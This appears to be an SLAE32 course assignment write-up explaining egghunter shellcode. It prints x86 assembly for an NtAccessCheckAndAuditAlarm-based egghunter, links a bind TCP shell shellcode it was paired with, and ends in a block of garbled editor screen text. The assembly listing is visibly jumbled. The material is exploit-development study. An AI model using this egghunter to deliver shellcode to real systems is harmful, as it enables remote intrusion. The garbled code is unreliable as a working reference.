

## SLAE32

## **Assignment 3**

## PA-2485

The Egghunter usually used if you don't have enough space to place your shellcode but you have enough small space for the egghunter which is small shellcode that searches for the virtual address space for unique tag and append our shellcode after the tag so if the tag ex:"w00t" founded our full shellcode will be after it and it will be executed.

For more details you can check this link

http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf

```
loop_inc_page:
    or dx, 0x0fff
                                        // Add PAGE SIZE-1 to edx
loop inc one:
    inc
                                        // Increment our pointer by one
         edx
loop check:
                                         // Save edx
    push edx
                                         // Push NtAccessCheckAndAuditAlarm
    push
          eax
                                        // Pop into eax
    pop
    int
          0x2e
                                        // Perform the syscall
    cmp
          al, 0x05
                                        // Did we get 0xc0000005
(ACCESS VIOLATION) ?
          edx
                                        // Restore edx
   pop
```

```
loop check 8 valid:
   je loop inc page
                                      // Yes, invalid ptr, go to the next
page
is egg:
  mov eax, 0x534c4145
                                      // Throw our egg "SLAE" in eax
   mov edi, edx
                                      // Set edi to the pointer we validated
   scasd
                                      // Compare the dword in edi to eax
                                      // No match? Increment the pointer by
   jnz loop inc one
one
   scasd
                                      // Compare the dword in edi to eax
again (which is now edx + 4)
   jnz loop inc one
                                      // No match? Increment the pointer by
one
matched:
   jmp edi
                                      // Found the egg. Jump 8 bytes past
it into our code.
```

As we see below after we compile it our tag is "SLAE"

And I used this shellcode and apply egghunter on it

https://www.exploit-db.com/exploits/39851/

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Linux/x86 - Bind TCP (4444/TCP) Shell (/bin/bash) Shellcode (656 bytes)

```
CNU nano 2.22.6 File: binbashegg.c

Cnu nasheg.c

Cnu nano 2.22.6 File: binbashegg.c

Cnu nano 2.22.6 File: binbashegg.c

Cnu nano 2.22.6 File: binbasheg.c

Cnu nano 2.22.6 File: binbashed.c

Cnu
```

And here we go;)